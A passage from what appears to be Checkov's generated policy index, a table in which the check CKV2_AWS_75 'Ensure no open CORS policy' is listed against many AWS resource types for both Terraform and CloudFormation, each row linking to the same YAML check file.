[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3160 | CKV2_AWS_75              | resource                         | aws_costoptimizationhub_enrollment_status                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3161 | CKV2_AWS_75              | resource                         | aws_costoptimizationhub_preferences                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3162 | CKV2_AWS_75              | resource                         | aws_costoptimizationhub_preferences                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3163 | CKV2_AWS_75              | resource                         | aws_cur_report_definition                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3164 | CKV2_AWS_75              | resource                         | aws_cur_report_definition                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3165 | CKV2_AWS_75              | resource                         | aws_customer_gateway                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3166 | CKV2_AWS_75              | resource                         | aws_customer_gateway                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3167 | CKV2_AWS_75              | resource                         | aws_customerprofiles_domain                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3168 | CKV2_AWS_75              | resource                         | aws_customerprofiles_domain                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3169 | CKV2_AWS_75              | resource                         | aws_customerprofiles_profile                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3170 | CKV2_AWS_75              | resource                         | aws_customerprofiles_profile                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3171 | CKV2_AWS_75              | resource                         | aws_dataexchange_data_set                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3172 | CKV2_AWS_75              | resource                         | aws_dataexchange_data_set                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3173 | CKV2_AWS_75              | resource                         | aws_dataexchange_revision                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3174 | CKV2_AWS_75              | resource                         | aws_dataexchange_revision                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3175 | CKV2_AWS_75              | resource                         | aws_datapipeline_pipeline                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3176 | CKV2_AWS_75              | resource                         | aws_datapipeline_pipeline                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3177 | CKV2_AWS_75              | resource                         | aws_datapipeline_pipeline_definition                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3178 | CKV2_AWS_75              | resource                         | aws_datapipeline_pipeline_definition                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3179 | CKV2_AWS_75              | resource                         | aws_datasync_agent                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3180 | CKV2_AWS_75              | resource                         | aws_datasync_agent                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3181 | CKV2_AWS_75              | resource                         | aws_datasync_location_azure_blob                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3182 | CKV2_AWS_75              | resource                         | aws_datasync_location_azure_blob                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3183 | CKV2_AWS_75              | resource                         | aws_datasync_location_efs                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3184 | CKV2_AWS_75              | resource                         | aws_datasync_location_efs                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3185 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_lustre_file_system                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3186 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_lustre_file_system                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3187 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_ontap_file_system                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3188 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_ontap_file_system                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3189 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_openzfs_file_system                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3190 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_openzfs_file_system                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3191 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_windows_file_system                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3192 | CKV2_AWS_75              | resource                         | aws_datasync_location_fsx_windows_file_system                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3193 | CKV2_AWS_75              | resource                         | aws_datasync_location_hdfs                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3194 | CKV2_AWS_75              | resource                         | aws_datasync_location_hdfs                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3195 | CKV2_AWS_75              | resource                         | aws_datasync_location_nfs                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3196 | CKV2_AWS_75              | resource                         | aws_datasync_location_nfs                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3197 | CKV2_AWS_75              | resource                         | aws_datasync_location_object_storage                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3198 | CKV2_AWS_75              | resource                         | aws_datasync_location_object_storage                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3199 | CKV2_AWS_75              | resource                         | aws_datasync_location_s3                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3200 | CKV2_AWS_75              | resource                         | aws_datasync_location_s3                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3201 | CKV2_AWS_75              | resource                         | aws_datasync_location_smb                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3202 | CKV2_AWS_75              | resource                         | aws_datasync_location_smb                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3203 | CKV2_AWS_75              | resource                         | aws_datasync_task                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3204 | CKV2_AWS_75              | resource                         | aws_datasync_task                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3205 | CKV2_AWS_75              | resource                         | aws_datazone_asset_type                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3206 | CKV2_AWS_75              | resource                         | aws_datazone_asset_type                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3207 | CKV2_AWS_75              | resource                         | aws_datazone_domain                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3208 | CKV2_AWS_75              | resource                         | aws_datazone_domain                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3209 | CKV2_AWS_75              | resource                         | aws_datazone_environment                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3210 | CKV2_AWS_75              | resource                         | aws_datazone_environment                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3211 | CKV2_AWS_75              | resource                         | aws_datazone_environment_blueprint_configuration                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3212 | CKV2_AWS_75              | resource                         | aws_datazone_environment_blueprint_configuration                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3213 | CKV2_AWS_75              | resource                         | aws_datazone_environment_profile                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3214 | CKV2_AWS_75              | resource                         | aws_datazone_environment_profile                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3215 | CKV2_AWS_75              | resource                         | aws_datazone_form_type                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3216 | CKV2_AWS_75              | resource                         | aws_datazone_form_type                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3217 | CKV2_AWS_75              | resource                         | aws_datazone_glossary                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3218 | CKV2_AWS_75              | resource                         | aws_datazone_glossary                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3219 | CKV2_AWS_75              | resource                         | aws_datazone_glossary_term                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3220 | CKV2_AWS_75              | resource                         | aws_datazone_glossary_term                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3221 | CKV2_AWS_75              | resource                         | aws_datazone_project                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3222 | CKV2_AWS_75              | resource                         | aws_datazone_project                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3223 | CKV2_AWS_75              | resource                         | aws_datazone_user_profile                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3224 | CKV2_AWS_75              | resource                         | aws_datazone_user_profile                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3225 | CKV2_AWS_75              | resource                         | aws_dax_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3226 | CKV2_AWS_75              | resource                         | aws_dax_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3227 | CKV2_AWS_75              | resource                         | aws_dax_parameter_group                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3228 | CKV2_AWS_75              | resource                         | aws_dax_parameter_group                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3229 | CKV2_AWS_75              | resource                         | aws_dax_subnet_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3230 | CKV2_AWS_75              | resource                         | aws_dax_subnet_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3231 | CKV2_AWS_75              | resource                         | aws_db_cluster_snapshot                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3232 | CKV2_AWS_75              | resource                         | aws_db_cluster_snapshot                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3233 | CKV2_AWS_75              | resource                         | aws_db_event_subscription                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3234 | CKV2_AWS_75              | resource                         | aws_db_event_subscription                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3235 | CKV2_AWS_75              | resource                         | aws_db_instance                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3236 | CKV2_AWS_75              | resource                         | aws_db_instance                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3237 | CKV2_AWS_75              | resource                         | aws_db_instance_automated_backups_replication                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3238 | CKV2_AWS_75              | resource                         | aws_db_instance_automated_backups_replication                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3239 | CKV2_AWS_75              | resource                         | aws_db_instance_role_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3240 | CKV2_AWS_75              | resource                         | aws_db_instance_role_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3241 | CKV2_AWS_75              | resource                         | aws_db_option_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3242 | CKV2_AWS_75              | resource                         | aws_db_option_group                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3243 | CKV2_AWS_75              | resource                         | aws_db_parameter_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3244 | CKV2_AWS_75              | resource                         | aws_db_parameter_group                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3245 | CKV2_AWS_75              | resource                         | aws_db_proxy                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3246 | CKV2_AWS_75              | resource                         | aws_db_proxy                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3247 | CKV2_AWS_75              | resource                         | aws_db_proxy_default_target_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3248 | CKV2_AWS_75              | resource                         | aws_db_proxy_default_target_group                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3249 | CKV2_AWS_75              | resource                         | aws_db_proxy_endpoint                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3250 | CKV2_AWS_75              | resource                         | aws_db_proxy_endpoint                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 3251 | CKV2_AWS_75              | resource                         | aws_db_proxy_target                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3252 | CKV2_AWS_75              | resource                         | aws_db_proxy_target                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | 